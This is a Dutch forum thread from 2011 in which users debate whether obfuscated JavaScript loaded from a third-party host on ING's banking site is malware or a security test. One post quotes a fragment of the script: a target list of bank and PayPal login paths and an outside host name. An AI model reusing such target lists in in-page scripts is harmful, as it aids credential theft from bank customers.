Toen ik net http://www.ing.nl/ bezocht, leidt mijn Chrome-extensie van McAfee mij naar siteadvisor.com die mij nu waarschuwt voor een mogelijke phisingsite.

[Jejking]

Okee, de bottomline is dus nu dat de code naar eigen zeggen onschadelijk is want het was een test met eigen materiaal aldus de ING.

De vraag is: Is het ook onschadelijk? De code staat er nu nog?

[Tharulerz]

msikma schreef op donderdag 04 augustus 2011 @ 18:19:
[...]


Huh. Maar waarom staat deze code dan op een vreemd, anoniem domein dat pas sinds kort is geregistreerd? Waarom is de code packed? Waarom is het pas sinds tenminste 2 augustus in gebruik? En waarom is de code ook op een andere site te vinden?

Aangezien we dezelfde code konden terugvinden op Alliance&Leicester bank (en misschien nog andere) wil dit zeggen dat ING ofwel een samenwerking heeft met Alliance&Leicester om beiden hun site te testen op phishing/malware, ofwel hebben ze beiden hetzelfde pakket aangekocht bij een bedrijf dat deze diensten verkoopt.

[sarcasm]
Klinkt volstrekt logisch, nietwaar?
[/sarcasm]

[dada]

Misschien is het een nieuwe "safety by already taken" methode. Echte hackers slaan de ING over omdat ze deze code zien en denken "oh, deze bank is al gehacked, laat ik maar een andere zoeken".

[mindcrash]

Jejking schreef op donderdag 04 augustus 2011 @ 18:23:
De vraag is: Is het ook onschadelijk? De code staat er nu nog?

Mijn bullshit detector zegt nog steeds: nee schadelijk. zeker omdat exact dezelfde code 'ineens' eerder opdook in de online banking app van een andere random bank in de UK (met geheel andere domeinnamen zelfs)

[frickY]

Mikayu schreef op donderdag 04 augustus 2011 @ 18:21:
Dus ik kan nu veilig iets te eten bestellen met iDeal?

Dat sowieso. Alle eventuele schade is voor rekening van ING.
Lijkt mij.

[miss_bleu]

frickY schreef op donderdag 04 augustus 2011 @ 18:26:
[...]

Dat sowieso. Alle eventuele schade is voor rekening van ING.
Lijkt mij.

Mja, maar zie dat maar eens terug te krijgen. Ik vind het een vreselijk vaag verhaal blijven waar ik niets van geloof.

[frickY]

Biersteker schreef op donderdag 04 augustus 2011 @ 18:22:
Het vreemde is dan ook, dat er na de melding van tweakers.net, dat het scriptje zomaar verdwenen is. Als je toch aan het testen bent, waarom zou je het dan weghalen?

Hij staat er nog gewoon hoor.

[F.West98]

ik heb de code hier nog, gelukkig alleen gister ingelogd en morgen vakantie
Ik denk wel dat het IETS is, niet pluis

Crisp, waar ben je voor de js?

[luukske21]

Als het blijkt dat de ing site inderdaad gehackt is zijn ze mij als klant in iedergeval kwijt.

waarom in vredesnaam je officiele site zelf injecteren :\

Haal die site toch offline ing

Jullie imago is hoe dan ook geschaad

Maak het nou niet erger zou ik zeggen <=]

[Compizfox]

msikma schreef op donderdag 04 augustus 2011 @ 18:23:
Misschien is het een nieuwe "safety by already taken" methode. Echte hackers slaan de ING over omdat ze deze code zien en denken "oh, deze bank is al gehacked, laat ik maar een andere zoeken".

lol

[Kees]

luukske21 schreef op donderdag 04 augustus 2011 @ 18:30:
Als het blijkt dat de ing site inderdaad gehackt is zijn ze mij als klant in iedergeval kwijt.

waarom in vredesnaam je officiele site zelf injecteren :\

Haal die site toch offline ing

Jullie imago is hoe dan ook geschaad

Maak het nou niet erger zou ik zeggen <=]

Ze zeggen zelf niet gehacked te zijn, ze zijn op het 'probleem' gewezen, de hoster zegt ook dat er niets aan de hand is, en de code staat er nog steeds (nadat ze ervan op de hoogte zijn gebracht).

Waarom zouden ze dan de site offline halen?

[Rubix]

Kees schreef op donderdag 04 augustus 2011 @ 18:31:
[...]

Ze zeggen zelf niet gehacked te zijn, ze zijn op het 'probleem' gewezen, de hoster zegt ook dat er niets aan de hand is, en de code staat er nog steeds (nadat ze ervan op de hoogte zijn gebracht).

Waarom zouden ze dan de site offline halen?

Omdat een paar mensen hier op Tweakers het niet snappen

[luukske21]

Kees schreef op donderdag 04 augustus 2011 @ 18:31:
[...]

Ze zeggen zelf niet gehacked te zijn, ze zijn op het 'probleem' gewezen, de hoster zegt ook dat er niets aan de hand is, en de code staat er nog steeds (nadat ze ervan op de hoogte zijn gebracht).

Waarom zouden ze dan de site offline halen?

zekere voor het onzekere

[mindcrash]

Overigens staat de code bij Alliance&Leicester er nog steeds in, dus wellicht wel legit.

Alleen de manier waarop deze "beveiliging" wordt uitgevoerd is nogal... uhm... waanzinnig amateuristisch. Mij gaan ze iig never nooit als klant begroeten iig; wil graag zaken doen met een bank die zaken net zo goed (of beter ) qua web development aanpakt als mijzelf

[GlowMouse]

Over het eerdere geval bij Alliance&Leicester:
http://forum.linode.com/viewtopic.php?p=38271
"The URL has then also been confirmed as genuine by A&L."

Maar iemand die dit zowel bij A&L als bij ING doet, moet wel een derde partij zijn. Waarom zou je als bank een derde zo in vertrouwen nemen dat je hun .js-files op je site include

[miss_bleu]

mindcrash schreef op donderdag 04 augustus 2011 @ 18:32:
Overigens staat de code bij Alliance&Leicester er nog steeds in, dus wellicht wel legit.

Alleen de manier waarop deze "beveiliging" wordt uitgevoerd is nogal... uhm... waanzinnig amateuristisch. Mij gaan ze iig never nooit als klant begroeten iig; wil graag zaken doen met een bank die zaken net zo goed (of beter ) qua web development aanpakt als mijzelf

Ligt de development van de ING omgeving dan nog wel in NL? Zou me niets verbazen als dat ook ergens anders wordt gedaan.

[Tharulerz]

miss_bleu schreef op donderdag 04 augustus 2011 @ 18:33:
[...]

Ligt de development van de ING omgeving dan nog wel in NL? Zou me niets verbazen als dat ook ergens anders wordt gedaan.

Die Alliance&Leicester bank maakt deel uit van de Santander banking group, en ik vind nergens maar dan ook nergens dat deze group affiliated is met de ING Group. Waarom zouden ze dan samenwerken op IT vlak?

[ACM]

GlowMouse schreef op donderdag 04 augustus 2011 @ 18:33:
Maar iemand die dit zowel bij A&L als bij ING doet, moet wel een derde partij zijn. Waarom zou je als bank een derde zo in vertrouwen nemen dat je hun .js-files op je site include

Wellicht dat ze die phishing-detectie bij een derde partij hebben ingekocht en dit onderdeel is van het testen ervan. Maakt het nog steeds niet erg briljant om potentieel informatie van klanten door te sturen naar een derde partij in een land met andere wetgeving dan hier...

Tharulerz schreef op donderdag 04 augustus 2011 @ 18:35:
Die Alliance&Leicester bank maakt deel uit van de Santander banking group, en ik vind nergens maar dan ook nergens dat deze group affiliated is met de ING Group. Waarom zouden ze dan samenwerken op IT vlak?

Misschien is er e.o.a. gezamelijk aanpak tegen phishing of gebruiken ze dezelfde leverancier van beveiligingssoftware.

[ Voor 27% gewijzigd door ACM op 04-08-2011 18:36 ]

[Sponge]

Ik vind dit toch wel vage regels die ik in de JS zie terug komen:

g.location.protocol!='https:'?'http:':'https:',y='ing_nl',k='33271',l='v4.0',m='ak',n=true,o='&A=ebc_ebc1961/ebc1961.asp/logonnpbs.co.ukybonline.co.ukonline.bankofamerica.com/cgi-bin/ias/accounts-overview..de/portal/portal/Home.do.hsbc.co.uk/1/2/personal/.halifax-online.co.uk/DisplayMyAccounts:viewMyAccountsnwolb.com/Statementsbanquepopulaire.fr/inversis.comwachovia.comibank.barclays.co.uk/loginTFA.domeine.deutsche-bank.de/trxm/db/itan.authorizationmijn.ing.nl/co-operativebank.co.uk/corp/BANKAWAYgbw.it.chase.com/MyAccountsbcp.ptmy.ebay.co.uk/ws/eBayISAPI.dll?MyEbayManageTAN&R=norisbank.de/.banking.firstdirect.com/1/2/banking.anz.commyspace.com/paypal.secure/arcot.royalbank.com/CapitalOne_Consumer//cmserver/verify.cfmmail.live.com/mailcapitalone.comEBC_EBC1961/EBC1961.ASP/logonbepp/sanpt/usuarios.nwolb.ogin.aspx?rbbva.esbbva.mobi.citizensbankonline.com.indexsampopank./.citibank.com/US/JPS/portal/Home.doasnbank.nl/',p='www.vsonicw.com',q='s'

Ergens heb ik alleen een fout gemaakt met die code dus volgens mij is het daardoor een zooitje geworden. De oplettende gebruiker ziet ook dat er "asnbank.nl" instaat?

[mindcrash]

Sponge schreef op donderdag 04 augustus 2011 @ 18:36:
Ik vind dit toch wel vage regels die ik in de JS zie terug komen:


[...]


Ergens heb ik alleen een fout gemaakt met die code dus volgens mij is het daardoor een zooitje geworden. De oplettende gebruiker ziet ook dat er "asnbank.nl" instaat?

Like I said earlier: geen spoor van deze scripts op asnbank.nl terug te vinden (zo op het eerste gezicht)

ACM schreef op donderdag 04 augustus 2011 @ 18:35:
Wellicht dat ze die phishing-detectie bij een derde partij hebben ingekocht en dit onderdeel is van het testen ervan. Maakt het nog steeds niet erg briljant om potentieel informatie van klanten door te sturen naar een derde partij in een land met andere wetgeving dan hier...

Klopt. Als dit spul idd op Linode wordt gehost en daar het een en ander naartoe wordt gestuurd is onmiddelijk op de desbetreffende gegevens o.a. de Patriot Act van toepassing. Kan me niet gelijk voorstellen dat je daar als CSO van een financiele instelling om staat te springen.

[ Voor 41% gewijzigd door mindcrash op 04-08-2011 18:38 ]

[CodeCaster]

Tjsa, de enige manier om het verhaal van de ING te kunnen staven is een virtuele machine in te richten en die te infecteren met malware die erom bekend staat (onder andere) iets met de site van de ING te kunnen doen, en te kijken of er iets gebeurt.

Als de html van het inlogform door dit script naar een extern script wordt gestuurd dat bijvoorbeeld kijkt of de post-url van het inlogform niet is aangepast zou het verhaal best kunnen kloppen, maar echt netjes is het niet, gezien de obfuscated JS en de vage url's.

Hierbij ga ik er dus van uit dat het bewuste script bedoeld is om aanvallen aan de clientside te detecteren en de gebruiker te kunnen waarschuwen (bijvoorbeeld door het inlogform te verbergen wanneer dit aangepast is, en een waarschuwing te tonen).

Als het script echter is bedoeld om een hack-aanval op de site te simuleren om hun "serversidehackdetectiesoftware" hierop te testen zijn ze behoorlijk achterlijk bezig, daar heb je een testomgeving voor.

[ Voor 65% gewijzigd door CodeCaster op 04-08-2011 18:49 ]

[Cubic X]

Ag, ING zegt dat het goed is...ze gaan daar echt niet om liegen, dat is veel gevaarlijker. Conclusie is dus dat het vreemd en ondoordacht is van de ING, maar dat we ons geen zorgen hoeven te maken .

[Brons]

Hoe kan je in godsnaam als bank JS in je website laden van een shared (VPS) hosting account? Ik had eigenlijk verwacht dat alle banken eigen servers hebben die ze niet delen met andere mensen.

[frickY]

Belangrijk detail blijft dat het vooralsnog zo lijkt dat er geen persoonlijke informatie is overgezonden naar de andere hosts.

[Sponge]

mindcrash schreef op donderdag 04 augustus 2011 @ 18:36:
[...]


Like I said earlier: geen spoor van deze scripts op asnbank.nl terug te vinden (zo op het eerste gezicht)

Klopt, was ook al op onderzoek gegaan, maar had je reactie niet gezien. Naja, beter 2x gechecked dan 1x?

[Tharulerz]

ACM schreef op donderdag 04 augustus 2011 @ 18:35:
[...]

Wellicht dat ze die phishing-detectie bij een derde partij hebben ingekocht en dit onderdeel is van het testen ervan. Maakt het nog steeds niet erg briljant om potentieel informatie van klanten door te sturen naar een derde partij in een land met andere wetgeving dan hier...

Dat kan je als bank toch gewoon zelf maken?

Ik snap echt niet waarom je dit zou uitbesteden... Scriptjes van derde partijen even op je live productie server zetten...

[Biersteker]

@Cubic X, Zolang er niets over in de pers komt, zal weinig imago schade lijden door het te ontkennen.

[frickY]

Dat is expertise die je doorgaans extern inkoopt. Zo raar is dat niet.
Of bouw jij ook je eigen auto?

[ Voor 35% gewijzigd door frickY op 04-08-2011 18:39 ]

[GlowMouse]

Nog meer info over die andere bank:
http://www.theregister.co..._online_banking_concerns/

Santander's internet banking systems utilise a number of third parties and one of these appears to have had a technical failure. This has been investigated fully and rectified.

Santander can confirm that neither its website nor the A&L website have been hacked. Customer data has not been compromised.

We asked Santander for a clearer explanation of what the "technical failure" might be. A spokeswoman told us that since this covered a fraud and security issue they were not going to say what it is, but she was able to repeat the assurance that customer data was safe.

[pierce]

Brons schreef op donderdag 04 augustus 2011 @ 18:37:
Hoe kan je in godsnaam als bank JS in je website laden van een shared (VPS) hosting account? Ik had eigenlijk verwacht dat alle banken eigen servers hebben die ze niet delen met andere mensen.

De ING heeft anders een flink vsphere cluster van 100+ servers, ik weet alleen niet of de website e.d. ook in deze omgeving draait.

[Nic]

Tsja, en als het dan legitiem is: wat nou als die VPS waar het scriptje op draait gehacked wordt en de javascript zo gewijzigd wordt dat er wél wat kwaadaardigs mee gebeurt? Hoe je het bekijkt, het is gewoon fout. :-)

[ACM]

Tharulerz schreef op donderdag 04 augustus 2011 @ 18:38:
Dat kan je als bank toch gewoon zelf maken?

Er zijn allerlei bedrijven gespecialiseerd in beveiligssoftware. Ik betwijfel het of elke bank het zich wel wil en kan permiteren om die expertise in huis te halen. Ik kan me dan ook goed voorstellen dat je dergelijke beveilingssoftware liever van een bewezen partij koopt (voor zover die er zijn natuurlijk) dan zelf probeert het wiel opnieuw uit te vinden.

Ik snap echt niet waarom je dit zou uitbesteden... Scriptjes van derde partijen even op je live productie server zetten...

Wellicht is het scriptje zoiets als het eicar testvirus. Ongevaarlijk, maar wel iets dat gedetecteerd moet worden door e.o.a. ingekocht stuk beveiliging.

[Anoniem: 413232]

Zelfs als het legitiem is, lijkt mij het een stuk simpeler om een Linode VPSje te hacken en vanaf die VPS nare dingen te doen. Vanuit het oogpunt van veiligheid en privacy doe je dit gewoon niet. Zijn er geen regels (AFM/DNB) die dit soort pruts-IT praktijken verbieden ?

[mindcrash]

frickY schreef op donderdag 04 augustus 2011 @ 18:38:
Dat is expertise die je doorgaans extern inkoopt. Zo raar is dat niet.

Maar wel vervolgens op je eigen server plaatst.

Ik kan me nog wel een ex-opdrachtgever herinneren bij wie het security beleid zo strict was dat als ik dit geflikt had op één van de websites/webapps er een hoop mensen niet bepaald blij van me werden.

En ja, dat was ook een bedrijf in de financiele sector.

En nee, gelukkig wist ik genoeg van het security beleid af om dit dan ook niet te doen

[GlowMouse]

ACM schreef op donderdag 04 augustus 2011 @ 18:40:
[...]

Wellicht is het scriptje zoiets als het eicar testvirus. Ongevaarlijk, maar wel iets dat gedetecteerd moet worden door e.o.a. ingekocht stuk beveiliging.

Dan zou het er nu inmiddels wel mogen afgehaald.

[mvdejong]

Tharulerz schreef op donderdag 04 augustus 2011 @ 18:38:
[...]


Dat kan je als bank toch gewoon zelf maken?

Ik snap echt niet waarom je dit zou uitbesteden... Scriptjes van derde partijen even op je live productie server zetten...

Omdat dit extreem specialistische componenten zijn. Zelfs voor een organisatie in de orde-grootte van de ING is het nauwelijks mogelijk om voldoende mensen met kennis en ervaring in te kopen, die constant bij te laten scholen, voor de relatief geringe tijd die ze dan vervolgens echt werk hebben te doen.

[Brons]

pierce schreef op donderdag 04 augustus 2011 @ 18:39:
[...]


De ING heeft anders een flink vsphere cluster van 100+ servers, ik weet alleen niet of de website e.d. ook in deze omgeving draait.

Ik mag aannemen dat de ING dit zelf in beheer heeft of op z'n minst exclusief gebruikt maakt van de hosting.